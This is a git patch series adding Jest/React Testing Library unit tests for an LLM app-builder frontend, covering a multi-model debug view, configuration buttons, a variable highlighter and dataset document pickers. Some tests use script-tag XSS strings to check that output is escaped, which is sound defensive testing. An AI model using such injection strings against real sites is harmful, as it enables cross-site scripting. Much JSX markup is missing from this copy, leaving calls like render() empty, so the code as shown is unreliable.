// Undefined type + ] + + const debugConfiguration = createDebugConfiguration({ + modelConfig: createModelConfig(incompleteVariables), + }) + mockUseDebugConfigurationContext.mockReturnValue(debugConfiguration) + + renderComponent() + + // Should still render but handle gracefully + expect(screen.getByTestId('chat-input-area')).toBeInTheDocument() + expect(capturedChatInputProps?.inputsForm).toHaveLength(3) + }) + }) + + describe('props and callbacks', () => { + it('should call onMultipleModelConfigsChange when provided', () => { + const onMultipleModelConfigsChange = jest.fn() + renderComponent({ onMultipleModelConfigsChange }) + + // Context provider should pass through the callback + expect(onMultipleModelConfigsChange).not.toHaveBeenCalled() + }) + + it('should call onDebugWithMultipleModelChange when provided', () => { + const onDebugWithMultipleModelChange = jest.fn() + renderComponent({ onDebugWithMultipleModelChange }) + + // Context provider should pass through the callback + expect(onDebugWithMultipleModelChange).not.toHaveBeenCalled() + }) + + it('should not memoize when props change', () => { + const props1 = createProps({ multipleModelConfigs: [createModelAndParameter({ id: 'model-1' })] }) + const { rerender } = renderComponent(props1) + + const props2 = createProps({ multipleModelConfigs: [createModelAndParameter({ id: 'model-2' })] }) + rerender() + + const items = screen.getAllByTestId('debug-item') + expect(items[0]).toHaveAttribute('data-model-id', 'model-2') + }) + }) + + describe('accessibility', () => { + it('should have accessible chat input elements', () => { + renderComponent() + + const chatInput = screen.getByTestId('chat-input-area') + expect(chatInput).toBeInTheDocument() + + // Check for button accessibility + const sendButton = screen.getByRole('button', { name: /send/i }) + expect(sendButton).toBeInTheDocument() + + const featureButton = screen.getByRole('button', { name: /feature/i }) + expect(featureButton).toBeInTheDocument() + }) + + it('should apply ARIA attributes correctly', () => { + const multipleModelConfigs = [createModelAndParameter()] + renderComponent({ multipleModelConfigs }) + + // Debug items should be identifiable + const debugItem = screen.getByTestId('debug-item') + expect(debugItem).toBeInTheDocument() + expect(debugItem).toHaveAttribute('data-model-id') + }) + }) + + describe('prompt variables transformation', () => { + it('should filter out API type variables', () => { + const promptVariables: PromptVariableWithMeta[] = [ + { key: 'normal', name: 'Normal', type: 'string' }, + { key: 'api-var', name: 'API Var', type: 'api' }, + { key: 'number', name: 'Number', type: 'number' }, + ] + const debugConfiguration = createDebugConfiguration({ + modelConfig: createModelConfig(promptVariables), + }) + mockUseDebugConfigurationContext.mockReturnValue(debugConfiguration) + + renderComponent() + + expect(capturedChatInputProps?.inputsForm).toHaveLength(2) + expect(capturedChatInputProps?.inputsForm).toEqual( + expect.arrayContaining([ + expect.objectContaining({ label: 'Normal', variable: 'normal' }), + expect.objectContaining({ label: 'Number', variable: 'number' }), + ]), + ) + expect(capturedChatInputProps?.inputsForm).not.toEqual( + expect.arrayContaining([ + expect.objectContaining({ label: 'API Var' }), + ]), + ) + }) + + it('should handle missing hide and required properties', () => { + const promptVariables: Partial[] = [ + { key: 'no-hide', name: 'No Hide', type: 'string', required: true }, + { key: 'no-required', name: 'No Required', type: 'number', hide: true }, + ] + const debugConfiguration = createDebugConfiguration({ + modelConfig: createModelConfig(promptVariables as PromptVariableWithMeta[]), + }) + mockUseDebugConfigurationContext.mockReturnValue(debugConfiguration) + + renderComponent() + + expect(capturedChatInputProps?.inputsForm).toEqual([ + expect.objectContaining({ + label: 'No Hide', + variable: 'no-hide', + hide: false, // Should default to false + required: true, + }), + expect.objectContaining({ + label: 'No Required', + variable: 'no-required', + hide: true, + required: false, // Should default to false + }), + ]) + }) + + it('should preserve original hide and required values', () => { + const promptVariables: PromptVariableWithMeta[] = [ + { key: 'hidden-optional', name: 'Hidden Optional', type: 'string', hide: true, required: false }, + { key: 'visible-required', name: 'Visible Required', type: 'number', hide: false, required: true }, + ] + const debugConfiguration = createDebugConfiguration({ + modelConfig: createModelConfig(promptVariables), + }) + mockUseDebugConfigurationContext.mockReturnValue(debugConfiguration) + + renderComponent() + + expect(capturedChatInputProps?.inputsForm).toEqual([ + expect.objectContaining({ + label: 'Hidden Optional', + variable: 'hidden-optional', + hide: true, + required: false, + }), + expect.objectContaining({ + label: 'Visible Required', + variable: 'visible-required', + hide: false, + required: true, + }), + ]) + }) + }) + describe('chat input rendering', () => { it('should render chat input in chat mode with transformed prompt variables and feature handler', () => { // Arrange @@ -326,6 +538,43 @@ describe('DebugWithMultipleModel', () => { }) }) + describe('performance optimization', () => { + it('should memoize callback functions correctly', () => { + const props = createProps({ multipleModelConfigs: [createModelAndParameter()] }) + const { rerender } = renderComponent(props) + + // First render + const firstItems = screen.getAllByTestId('debug-item') + expect(firstItems).toHaveLength(1) + + // Rerender with exactly same props - should not cause re-renders + rerender() + + const secondItems = screen.getAllByTestId('debug-item') + expect(secondItems).toHaveLength(1) + + // Check that the element still renders the same content + expect(firstItems[0]).toHaveTextContent(secondItems[0].textContent || '') + }) + + it('should recalculate size and position when number of models changes', () => { + const { rerender } = renderComponent({ multipleModelConfigs: [createModelAndParameter()] }) + + // Single model - no special sizing + const singleItem = screen.getByTestId('debug-item') + expect(singleItem.style.width).toBe('') + + // Change to 2 models + rerender() + + const twoItems = screen.getAllByTestId('debug-item') + expect(twoItems[0].style.width).toBe('calc(50% - 4px - 24px)') + expect(twoItems[1].style.width).toBe('calc(50% - 4px - 24px)') + }) + }) + describe('layout sizing and positioning', () => { const expectItemLayout = ( element: HTMLElement, From 23f75a1185b2924249d53825b59014298a870f1b Mon Sep 17 00:00:00 2001 From: Joel Date: Mon, 15 Dec 2025 21:18:58 +0800 Subject: [PATCH 10/38] chore: some tests for configuration components (#29653) Co-authored-by: yyh <92089059+lyzno1@users.noreply.github.com> --- .../base/group-name/index.spec.tsx | 21 +++++ .../base/operation-btn/index.spec.tsx | 76 +++++++++++++++++++ .../base/var-highlight/index.spec.tsx | 62 +++++++++++++++ .../ctrl-btn-group/index.spec.tsx | 48 ++++++++++++ .../configuration/ctrl-btn-group/index.tsx | 4 +- 5 files changed, 209 insertions(+), 2 deletions(-) create mode 100644 web/app/components/app/configuration/base/group-name/index.spec.tsx create mode 100644 web/app/components/app/configuration/base/operation-btn/index.spec.tsx create mode 100644 web/app/components/app/configuration/base/var-highlight/index.spec.tsx create mode 100644 web/app/components/app/configuration/ctrl-btn-group/index.spec.tsx diff --git a/web/app/components/app/configuration/base/group-name/index.spec.tsx b/web/app/components/app/configuration/base/group-name/index.spec.tsx new file mode 100644 index 0000000000..ac504247f2 --- /dev/null +++ b/web/app/components/app/configuration/base/group-name/index.spec.tsx @@ -0,0 +1,21 @@ +import { render, screen } from '@testing-library/react' +import GroupName from './index' + +describe('GroupName', () => { + beforeEach(() => { + jest.clearAllMocks() + }) + + describe('Rendering', () => { + it('should render name when provided', () => { + // Arrange + const title = 'Inputs' + + // Act + render() + + // Assert + expect(screen.getByText(title)).toBeInTheDocument() + }) + }) +}) diff --git a/web/app/components/app/configuration/base/operation-btn/index.spec.tsx b/web/app/components/app/configuration/base/operation-btn/index.spec.tsx new file mode 100644 index 0000000000..b504bdcfe7 --- /dev/null +++ b/web/app/components/app/configuration/base/operation-btn/index.spec.tsx @@ -0,0 +1,76 @@ +import { fireEvent, render, screen } from '@testing-library/react' +import OperationBtn from './index' + +jest.mock('react-i18next', () => ({ + useTranslation: () => ({ + t: (key: string) => key, + }), +})) + +jest.mock('@remixicon/react', () => ({ + RiAddLine: (props: { className?: string }) => ( + + ), + RiEditLine: (props: { className?: string }) => ( + + ), +})) + +describe('OperationBtn', () => { + beforeEach(() => { + jest.clearAllMocks() + }) + + // Rendering icons and translation labels + describe('Rendering', () => { + it('should render passed custom class when provided', () => { + // Arrange + const customClass = 'custom-class' + + // Act + render() + + // Assert + expect(screen.getByText('common.operation.add').parentElement).toHaveClass(customClass) + }) + it('should render add icon when type is add', () => { + // Arrange + const onClick = jest.fn() + + // Act + render() + + // Assert + expect(screen.getByTestId('add-icon')).toBeInTheDocument() + expect(screen.getByText('common.operation.add')).toBeInTheDocument() + }) + + it('should render edit icon when provided', () => { + // Arrange + const actionName = 'Rename' + + // Act + render() + + // Assert + expect(screen.getByTestId('edit-icon')).toBeInTheDocument() + expect(screen.queryByTestId('add-icon')).toBeNull() + expect(screen.getByText(actionName)).toBeInTheDocument() + }) + }) + + // Click handling + describe('Interactions', () => { + it('should execute click handler when button is clicked', () => { + // Arrange + const onClick = jest.fn() + render() + + // Act + fireEvent.click(screen.getByText('common.operation.add')) + + // Assert + expect(onClick).toHaveBeenCalledTimes(1) + }) + }) +}) diff --git a/web/app/components/app/configuration/base/var-highlight/index.spec.tsx b/web/app/components/app/configuration/base/var-highlight/index.spec.tsx new file mode 100644 index 0000000000..9e84aa09ac --- /dev/null +++ b/web/app/components/app/configuration/base/var-highlight/index.spec.tsx @@ -0,0 +1,62 @@ +import { render, screen } from '@testing-library/react' +import VarHighlight, { varHighlightHTML } from './index' + +describe('VarHighlight', () => { + beforeEach(() => { + jest.clearAllMocks() + }) + + // Rendering highlighted variable tags + describe('Rendering', () => { + it('should render braces around the variable name with default styles', () => { + // Arrange + const props = { name: 'userInput' } + + // Act + const { container } = render() + + // Assert + expect(screen.getByText('userInput')).toBeInTheDocument() + expect(screen.getAllByText('{{')[0]).toBeInTheDocument() + expect(screen.getAllByText('}}')[0]).toBeInTheDocument() + expect(container.firstChild).toHaveClass('item') + }) + + it('should apply custom class names when provided', () => { + // Arrange + const props = { name: 'custom', className: 'mt-2' } + + // Act + const { container } = render() + + // Assert + expect(container.firstChild).toHaveClass('mt-2') + }) + }) + + // Escaping HTML via helper + describe('varHighlightHTML', () => { + it('should escape dangerous characters before returning HTML string', () => { + // Arrange + const props = { name: '' } + + // Act + const html = varHighlightHTML(props) + + // Assert + expect(html).toContain('<script>alert('xss')</script>') + expect(html).not.toContain('' + renderComponent({ + value: { + name: specialName, + extension: 'txt', + chunkingMode: ChunkingMode.text, + }, + }) + + // React should escape the text + expect(screen.getByText(specialName)).toBeInTheDocument() + }) + + it('should handle documents with missing extension in data_source_detail_dict', () => { + const docWithEmptyExtension = createMockDocument({ + id: 'doc-empty-ext', + name: 'Doc Empty Ext', + data_source_detail_dict: { + upload_file: { + name: 'file-no-ext', + extension: '', + }, + }, + }) + mockDocumentListData = { data: [docWithEmptyExtension] } + + // Component should handle mapping documents with empty extension + renderComponent() + + // Should not crash + expect(screen.getByTestId('portal-elem')).toBeInTheDocument() + }) + + it('should handle document list mapping with various data_source_detail_dict states', () => { + // Test the mapping logic: d.data_source_detail_dict?.upload_file?.extension || '' + const docs = [ + createMockDocument({ + id: 'doc-1', + name: 'With Extension', + data_source_detail_dict: { + upload_file: { name: 'file.pdf', extension: 'pdf' }, + }, + }), + createMockDocument({ + id: 'doc-2', + name: 'Without Detail Dict', + data_source_detail_dict: undefined, + }), + ] + mockDocumentListData = { data: docs } + + renderComponent() + + // Should not crash during mapping + expect(screen.getByTestId('portal-elem')).toBeInTheDocument() + }) + }) + + // Tests for all prop variations + describe('Prop Variations', () => { + describe('datasetId variations', () => { + it('should handle empty datasetId', () => { + renderComponent({ datasetId: '' }) + + expect(screen.getByTestId('portal-elem')).toBeInTheDocument() + }) + + it('should handle UUID format datasetId', () => { + renderComponent({ datasetId: '123e4567-e89b-12d3-a456-426614174000' }) + + expect(screen.getByTestId('portal-elem')).toBeInTheDocument() + }) + }) + + describe('value.chunkingMode variations', () => { + const chunkingModes = [ + { mode: ChunkingMode.text, label: 'dataset.chunkingMode.general' }, + { mode: ChunkingMode.qa, label: 'dataset.chunkingMode.qa' }, + { mode: ChunkingMode.parentChild, label: 'dataset.chunkingMode.parentChild' }, + ] + + test.each(chunkingModes)( + 'should display correct label for $mode mode', + ({ mode, label }) => { + renderComponent({ + value: { + name: 'Test', + extension: 'txt', + chunkingMode: mode, + parentMode: mode === ChunkingMode.parentChild ? 'paragraph' : undefined, + }, + }) + + expect(screen.getByText(new RegExp(label))).toBeInTheDocument() + }, + ) + }) + + describe('value.parentMode variations', () => { + const parentModes: Array<{ mode: ParentMode; label: string }> = [ + { mode: 'paragraph', label: 'dataset.parentMode.paragraph' }, + { mode: 'full-doc', label: 'dataset.parentMode.fullDoc' }, + ] + + test.each(parentModes)( + 'should display correct label for $mode parentMode', + ({ mode, label }) => { + renderComponent({ + value: { + name: 'Test', + extension: 'txt', + chunkingMode: ChunkingMode.parentChild, + parentMode: mode, + }, + }) + + expect(screen.getByText(new RegExp(label))).toBeInTheDocument() + }, + ) + }) + + describe('value.extension variations', () => { + const extensions = ['txt', 'pdf', 'docx', 'xlsx', 'csv', 'md', 'html'] + + test.each(extensions)('should handle %s extension', (ext) => { + renderComponent({ + value: { + name: `File.${ext}`, + extension: ext, + chunkingMode: ChunkingMode.text, + }, + }) + + expect(screen.getByText(`File.${ext}`)).toBeInTheDocument() + }) + }) + }) + + // Tests for document selection + describe('Document Selection', () => { + it('should fetch documents list via useDocumentList', () => { + const mockDoc = createMockDocument({ + id: 'selected-doc', + name: 'Selected Document', + }) + mockDocumentListData = { data: [mockDoc] } + const onChange = jest.fn() + + renderComponent({ onChange }) + + // Verify the hook was called + const { useDocumentList } = jest.requireMock('@/service/knowledge/use-document') + expect(useDocumentList).toHaveBeenCalled() + }) + + it('should call onChange when document is selected', () => { + const docs = createMockDocumentList(3) + mockDocumentListData = { data: docs } + const onChange = jest.fn() + + renderComponent({ onChange }) + + // Click on a document in the list + fireEvent.click(screen.getByText('Document 2')) + + // handleChange should find the document and call onChange with full document + expect(onChange).toHaveBeenCalledTimes(1) + expect(onChange).toHaveBeenCalledWith(docs[1]) + }) + + it('should map document list items correctly', () => { + const docs = createMockDocumentList(3) + mockDocumentListData = { data: docs } + + renderComponent() + + // Documents should be rendered in the list + expect(screen.getByText('Document 1')).toBeInTheDocument() + expect(screen.getByText('Document 2')).toBeInTheDocument() + expect(screen.getByText('Document 3')).toBeInTheDocument() + }) + }) + + // Tests for integration with child components + describe('Child Component Integration', () => { + it('should pass correct data to DocumentList when popup is open', () => { + const docs = createMockDocumentList(3) + mockDocumentListData = { data: docs } + + renderComponent() + + // DocumentList receives mapped documents: { id, name, extension } + // We verify the data is fetched + const { useDocumentList } = jest.requireMock('@/service/knowledge/use-document') + expect(useDocumentList).toHaveBeenCalled() + }) + + it('should map document data_source_detail_dict extension correctly', () => { + const doc = createMockDocument({ + id: 'mapped-doc', + name: 'Mapped Document', + data_source_detail_dict: { + upload_file: { + name: 'mapped.pdf', + extension: 'pdf', + }, + }, + }) + mockDocumentListData = { data: [doc] } + + renderComponent() + + // The mapping: d.data_source_detail_dict?.upload_file?.extension || '' + // Should extract 'pdf' from the document + expect(screen.getByTestId('portal-elem')).toBeInTheDocument() + }) + + it('should render trigger with SearchInput integration', () => { + renderComponent() + + // The trigger is always rendered + expect(screen.getByTestId('portal-trigger')).toBeInTheDocument() + }) + + it('should integrate FileIcon component', () => { + // Use empty document list to avoid duplicate icons from list + mockDocumentListData = { data: [] } + + renderComponent({ + value: { + name: 'test.pdf', + extension: 'pdf', + chunkingMode: ChunkingMode.text, + }, + }) + + // FileIcon should be rendered via DocumentFileIcon - pdf renders pdf icon + expect(screen.getByTestId('file-pdf-icon')).toBeInTheDocument() + }) + }) + + // Tests for visual states + describe('Visual States', () => { + it('should apply hover styles on trigger', () => { + renderComponent() + + const trigger = screen.getByTestId('portal-trigger') + const clickableDiv = trigger.querySelector('div') + + expect(clickableDiv).toHaveClass('hover:bg-state-base-hover') + }) + + it('should render portal content for document selection', () => { + renderComponent() + + // Portal content is rendered in our mock for testing + expect(screen.getByTestId('portal-content')).toBeInTheDocument() + }) + }) +}) diff --git a/web/app/components/datasets/common/document-picker/preview-document-picker.spec.tsx b/web/app/components/datasets/common/document-picker/preview-document-picker.spec.tsx new file mode 100644 index 0000000000..e6900d23db --- /dev/null +++ b/web/app/components/datasets/common/document-picker/preview-document-picker.spec.tsx @@ -0,0 +1,641 @@ +import React from 'react' +import { fireEvent, render, screen } from '@testing-library/react' +import type { DocumentItem } from '@/models/datasets' +import PreviewDocumentPicker from './preview-document-picker' + +// Mock react-i18next +jest.mock('react-i18next', () => ({ + useTranslation: () => ({ + t: (key: string, params?: Record) => { + if (key === 'dataset.preprocessDocument' && params?.num) + return `${params.num} files` + + return key + }, + }), +})) + +// Mock portal-to-follow-elem - always render content for testing +jest.mock('@/app/components/base/portal-to-follow-elem', () => ({ + PortalToFollowElem: ({ children, open }: { + children: React.ReactNode + open?: boolean + }) => ( +
+ {children} +
+ ), + PortalToFollowElemTrigger: ({ children, onClick }: { + children: React.ReactNode + onClick?: () => void + }) => ( +
+ {children} +
+ ), + // Always render content to allow testing document selection + PortalToFollowElemContent: ({ children, className }: { + children: React.ReactNode + className?: string + }) => ( +
+ {children} +
+ ), +})) + +// Mock icons +jest.mock('@remixicon/react', () => ({ + RiArrowDownSLine: () => , + RiFile3Fill: () => 📄, + RiFileCodeFill: () => 📄, + RiFileExcelFill: () => 📄, + RiFileGifFill: () => 📄, + RiFileImageFill: () => 📄, + RiFileMusicFill: () => 📄, + RiFilePdf2Fill: () => 📄, + RiFilePpt2Fill: () => 📄, + RiFileTextFill: () => 📄, + RiFileVideoFill: () => 📄, + RiFileWordFill: () => 📄, + RiMarkdownFill: () => 📄, +})) + +// Factory function to create mock DocumentItem +const createMockDocumentItem = (overrides: Partial = {}): DocumentItem => ({ + id: `doc-${Math.random().toString(36).substr(2, 9)}`, + name: 'Test Document', + extension: 'txt', + ...overrides, +}) + +// Factory function to create multiple document items +const createMockDocumentList = (count: number): DocumentItem[] => { + return Array.from({ length: count }, (_, index) => + createMockDocumentItem({ + id: `doc-${index + 1}`, + name: `Document ${index + 1}`, + extension: index % 2 === 0 ? 'pdf' : 'txt', + }), + ) +} + +// Factory function to create default props +const createDefaultProps = (overrides: Partial> = {}) => ({ + value: createMockDocumentItem({ id: 'selected-doc', name: 'Selected Document' }), + files: createMockDocumentList(3), + onChange: jest.fn(), + ...overrides, +}) + +// Helper to render component with default props +const renderComponent = (props: Partial> = {}) => { + const defaultProps = createDefaultProps(props) + return { + ...render(), + props: defaultProps, + } +} + +describe('PreviewDocumentPicker', () => { + beforeEach(() => { + jest.clearAllMocks() + }) + + // Tests for basic rendering + describe('Rendering', () => { + it('should render without crashing', () => { + renderComponent() + + expect(screen.getByTestId('portal-elem')).toBeInTheDocument() + }) + + it('should render document name from value prop', () => { + renderComponent({ + value: createMockDocumentItem({ name: 'My Document' }), + }) + + expect(screen.getByText('My Document')).toBeInTheDocument() + }) + + it('should render placeholder when name is empty', () => { + renderComponent({ + value: createMockDocumentItem({ name: '' }), + }) + + expect(screen.getByText('--')).toBeInTheDocument() + }) + + it('should render placeholder when name is undefined', () => { + renderComponent({ + value: { id: 'doc-1', extension: 'txt' } as DocumentItem, + }) + + expect(screen.getByText('--')).toBeInTheDocument() + }) + + it('should render arrow icon', () => { + renderComponent() + + expect(screen.getByTestId('arrow-icon')).toBeInTheDocument() + }) + + it('should render file icon', () => { + renderComponent({ + value: createMockDocumentItem({ extension: 'txt' }), + files: [], // Use empty files to avoid duplicate icons + }) + + expect(screen.getByTestId('file-text-icon')).toBeInTheDocument() + }) + + it('should render pdf icon for pdf extension', () => { + renderComponent({ + value: createMockDocumentItem({ extension: 'pdf' }), + files: [], // Use empty files to avoid duplicate icons + }) + + expect(screen.getByTestId('file-pdf-icon')).toBeInTheDocument() + }) + }) + + // Tests for props handling + describe('Props', () => { + it('should accept required props', () => { + const props = createDefaultProps() + render() + + expect(screen.getByTestId('portal-elem')).toBeInTheDocument() + }) + + it('should apply className to trigger element', () => { + renderComponent({ className: 'custom-class' }) + + const trigger = screen.getByTestId('portal-trigger') + const innerDiv = trigger.querySelector('.custom-class') + expect(innerDiv).toBeInTheDocument() + }) + + it('should handle empty files array', () => { + // Component should render without crashing with empty files + renderComponent({ files: [] }) + + expect(screen.getByTestId('portal-elem')).toBeInTheDocument() + }) + + it('should handle single file', () => { + // Component should accept single file + renderComponent({ + files: [createMockDocumentItem({ id: 'single-doc', name: 'Single File' })], + }) + + expect(screen.getByTestId('portal-elem')).toBeInTheDocument() + }) + + it('should handle multiple files', () => { + // Component should accept multiple files + renderComponent({ + files: createMockDocumentList(5), + }) + + expect(screen.getByTestId('portal-elem')).toBeInTheDocument() + }) + + it('should use value.extension for file icon', () => { + renderComponent({ + value: createMockDocumentItem({ name: 'test.docx', extension: 'docx' }), + }) + + expect(screen.getByTestId('file-word-icon')).toBeInTheDocument() + }) + }) + + // Tests for state management + describe('State Management', () => { + it('should initialize with popup closed', () => { + renderComponent() + + expect(screen.getByTestId('portal-elem')).toHaveAttribute('data-open', 'false') + }) + + it('should toggle popup when trigger is clicked', () => { + renderComponent() + + const trigger = screen.getByTestId('portal-trigger') + fireEvent.click(trigger) + + expect(trigger).toBeInTheDocument() + }) + + it('should render portal content for document selection', () => { + renderComponent() + + // Portal content is always rendered in our mock for testing + expect(screen.getByTestId('portal-content')).toBeInTheDocument() + }) + }) + + // Tests for callback stability and memoization + describe('Callback Stability', () => { + it('should maintain stable onChange callback when value changes', () => { + const onChange = jest.fn() + const value1 = createMockDocumentItem({ id: 'doc-1', name: 'Doc 1' }) + const value2 = createMockDocumentItem({ id: 'doc-2', name: 'Doc 2' }) + + const { rerender } = render( + , + ) + + rerender( + , + ) + + expect(screen.getByText('Doc 2')).toBeInTheDocument() + }) + + it('should use updated onChange callback after rerender', () => { + const onChange1 = jest.fn() + const onChange2 = jest.fn() + const value = createMockDocumentItem() + const files = createMockDocumentList(3) + + const { rerender } = render( + , + ) + + rerender( + , + ) + + expect(screen.getByTestId('portal-elem')).toBeInTheDocument() + }) + }) + + // Tests for component memoization + describe('Component Memoization', () => { + it('should be wrapped with React.memo', () => { + expect((PreviewDocumentPicker as any).$$typeof).toBeDefined() + }) + + it('should not re-render when props are the same', () => { + const onChange = jest.fn() + const value = createMockDocumentItem() + const files = createMockDocumentList(3) + + const { rerender } = render( + , + ) + + rerender( + , + ) + + expect(screen.getByTestId('portal-elem')).toBeInTheDocument() + }) + }) + + // Tests for user interactions + describe('User Interactions', () => { + it('should toggle popup when trigger is clicked', () => { + renderComponent() + + const trigger = screen.getByTestId('portal-trigger') + fireEvent.click(trigger) + + expect(trigger).toBeInTheDocument() + }) + + it('should render document list with files', () => { + const files = createMockDocumentList(3) + renderComponent({ files }) + + // Documents should be visible in the list + expect(screen.getByText('Document 1')).toBeInTheDocument() + expect(screen.getByText('Document 2')).toBeInTheDocument() + expect(screen.getByText('Document 3')).toBeInTheDocument() + }) + + it('should call onChange when document is selected', () => { + const onChange = jest.fn() + const files = createMockDocumentList(3) + + renderComponent({ files, onChange }) + + // Click on a document + fireEvent.click(screen.getByText('Document 2')) + + // handleChange should call onChange with the selected item + expect(onChange).toHaveBeenCalledTimes(1) + expect(onChange).toHaveBeenCalledWith(files[1]) + }) + + it('should handle rapid toggle clicks', () => { + renderComponent() + + const trigger = screen.getByTestId('portal-trigger') + + // Rapid clicks + fireEvent.click(trigger) + fireEvent.click(trigger) + fireEvent.click(trigger) + fireEvent.click(trigger) + + expect(trigger).toBeInTheDocument() + }) + }) + + // Tests for edge cases + describe('Edge Cases', () => { + it('should handle null value properties gracefully', () => { + renderComponent({ + value: { id: 'doc-1', name: '', extension: '' }, + }) + + expect(screen.getByText('--')).toBeInTheDocument() + }) + + it('should handle empty files array', () => { + renderComponent({ files: [] }) + + // Component should render without crashing + expect(screen.getByTestId('portal-elem')).toBeInTheDocument() + }) + + it('should handle very long document names', () => { + const longName = 'A'.repeat(500) + renderComponent({ + value: createMockDocumentItem({ name: longName }), + }) + + expect(screen.getByText(longName)).toBeInTheDocument() + }) + + it('should handle special characters in document name', () => { + const specialName = '' + renderComponent({ + value: createMockDocumentItem({ name: specialName }), + }) + + expect(screen.getByText(specialName)).toBeInTheDocument() + }) + + it('should handle undefined files prop', () => { + // Test edge case where files might be undefined at runtime + const props = createDefaultProps() + // @ts-expect-error - Testing runtime edge case + props.files = undefined + + render() + + // Component should render without crashing + expect(screen.getByTestId('portal-elem')).toBeInTheDocument() + }) + + it('should handle large number of files', () => { + const manyFiles = createMockDocumentList(100) + renderComponent({ files: manyFiles }) + + // Component should accept large files array + expect(screen.getByTestId('portal-elem')).toBeInTheDocument() + }) + + it('should handle files with same name but different extensions', () => { + const files = [ + createMockDocumentItem({ id: 'doc-1', name: 'document', extension: 'pdf' }), + createMockDocumentItem({ id: 'doc-2', name: 'document', extension: 'txt' }), + ] + renderComponent({ files }) + + // Component should handle duplicate names + expect(screen.getByTestId('portal-elem')).toBeInTheDocument() + }) + }) + + // Tests for prop variations + describe('Prop Variations', () => { + describe('value variations', () => { + it('should handle value with all fields', () => { + renderComponent({ + value: { + id: 'full-doc', + name: 'Full Document', + extension: 'pdf', + }, + }) + + expect(screen.getByText('Full Document')).toBeInTheDocument() + }) + + it('should handle value with minimal fields', () => { + renderComponent({ + value: { id: 'minimal', name: '', extension: '' }, + }) + + expect(screen.getByText('--')).toBeInTheDocument() + }) + }) + + describe('files variations', () => { + it('should handle single file', () => { + renderComponent({ + files: [createMockDocumentItem({ name: 'Single' })], + }) + + expect(screen.getByTestId('portal-elem')).toBeInTheDocument() + }) + + it('should handle two files', () => { + renderComponent({ + files: createMockDocumentList(2), + }) + + expect(screen.getByTestId('portal-elem')).toBeInTheDocument() + }) + + it('should handle many files', () => { + renderComponent({ + files: createMockDocumentList(50), + }) + + expect(screen.getByTestId('portal-elem')).toBeInTheDocument() + }) + }) + + describe('className variations', () => { + it('should apply custom className', () => { + renderComponent({ className: 'my-custom-class' }) + + const trigger = screen.getByTestId('portal-trigger') + expect(trigger.querySelector('.my-custom-class')).toBeInTheDocument() + }) + + it('should work without className', () => { + renderComponent({ className: undefined }) + + expect(screen.getByTestId('portal-trigger')).toBeInTheDocument() + }) + + it('should handle multiple class names', () => { + renderComponent({ className: 'class-one class-two' }) + + const trigger = screen.getByTestId('portal-trigger') + const element = trigger.querySelector('.class-one') + expect(element).toBeInTheDocument() + expect(element).toHaveClass('class-two') + }) + }) + + describe('extension variations', () => { + const extensions = [ + { ext: 'txt', icon: 'file-text-icon' }, + { ext: 'pdf', icon: 'file-pdf-icon' }, + { ext: 'docx', icon: 'file-word-icon' }, + { ext: 'xlsx', icon: 'file-excel-icon' }, + { ext: 'md', icon: 'file-markdown-icon' }, + ] + + test.each(extensions)('should render correct icon for $ext extension', ({ ext, icon }) => { + renderComponent({ + value: createMockDocumentItem({ extension: ext }), + files: [], // Use empty files to avoid duplicate icons + }) + + expect(screen.getByTestId(icon)).toBeInTheDocument() + }) + }) + }) + + // Tests for document list rendering + describe('Document List Rendering', () => { + it('should render all documents in the list', () => { + const files = createMockDocumentList(5) + renderComponent({ files }) + + // All documents should be visible + files.forEach((file) => { + expect(screen.getByText(file.name)).toBeInTheDocument() + }) + }) + + it('should pass onChange handler to DocumentList', () => { + const onChange = jest.fn() + const files = createMockDocumentList(3) + + renderComponent({ files, onChange }) + + // Click on first document + fireEvent.click(screen.getByText('Document 1')) + + expect(onChange).toHaveBeenCalledWith(files[0]) + }) + + it('should show count header only for multiple files', () => { + // Single file - no header + const { rerender } = render( + , + ) + expect(screen.queryByText(/files/)).not.toBeInTheDocument() + + // Multiple files - show header + rerender( + , + ) + expect(screen.getByText('3 files')).toBeInTheDocument() + }) + }) + + // Tests for visual states + describe('Visual States', () => { + it('should apply hover styles on trigger', () => { + renderComponent() + + const trigger = screen.getByTestId('portal-trigger') + const innerDiv = trigger.querySelector('.hover\\:bg-state-base-hover') + expect(innerDiv).toBeInTheDocument() + }) + + it('should have truncate class for long names', () => { + renderComponent({ + value: createMockDocumentItem({ name: 'Very Long Document Name' }), + }) + + const nameElement = screen.getByText('Very Long Document Name') + expect(nameElement).toHaveClass('truncate') + }) + + it('should have max-width on name element', () => { + renderComponent({ + value: createMockDocumentItem({ name: 'Test' }), + }) + + const nameElement = screen.getByText('Test') + expect(nameElement).toHaveClass('max-w-[200px]') + }) + }) + + // Tests for handleChange callback + describe('handleChange Callback', () => { + it('should call onChange with selected document item', () => { + const onChange = jest.fn() + const files = createMockDocumentList(3) + + renderComponent({ files, onChange }) + + // Click first document + fireEvent.click(screen.getByText('Document 1')) + + expect(onChange).toHaveBeenCalledWith(files[0]) + }) + + it('should handle different document items in files', () => { + const onChange = jest.fn() + const customFiles = [ + { id: 'custom-1', name: 'Custom File 1', extension: 'pdf' }, + { id: 'custom-2', name: 'Custom File 2', extension: 'txt' }, + ] + + renderComponent({ files: customFiles, onChange }) + + // Click on first custom file + fireEvent.click(screen.getByText('Custom File 1')) + expect(onChange).toHaveBeenCalledWith(customFiles[0]) + + // Click on second custom file + fireEvent.click(screen.getByText('Custom File 2')) + expect(onChange).toHaveBeenCalledWith(customFiles[1]) + }) + + it('should work with multiple sequential selections', () => { + const onChange = jest.fn() + const files = createMockDocumentList(3) + + renderComponent({ files, onChange }) + + // Select multiple documents sequentially + fireEvent.click(screen.getByText('Document 1')) + fireEvent.click(screen.getByText('Document 3')) + fireEvent.click(screen.getByText('Document 2')) + + expect(onChange).toHaveBeenCalledTimes(3) + expect(onChange).toHaveBeenNthCalledWith(1, files[0]) + expect(onChange).toHaveBeenNthCalledWith(2, files[2]) + expect(onChange).toHaveBeenNthCalledWith(3, files[1]) + }) + }) +}) diff --git a/web/app/components/datasets/common/retrieval-method-config/index.spec.tsx b/web/app/components/datasets/common/retrieval-method-config/index.spec.tsx new file mode 100644 index 0000000000..be509f1c6e --- /dev/null +++ b/web/app/components/datasets/common/retrieval-method-config/index.spec.tsx @@ -0,0 +1,912 @@ +import React from 'react' +import { fireEvent, render, screen } from '@testing-library/react' +import type { RetrievalConfig } from '@/types/app' +import { RETRIEVE_METHOD } from '@/types/app' +import { + DEFAULT_WEIGHTED_SCORE, + RerankingModeEnum, + WeightedScoreEnum, +} from '@/models/datasets' +import RetrievalMethodConfig from './index' + +// Mock react-i18next 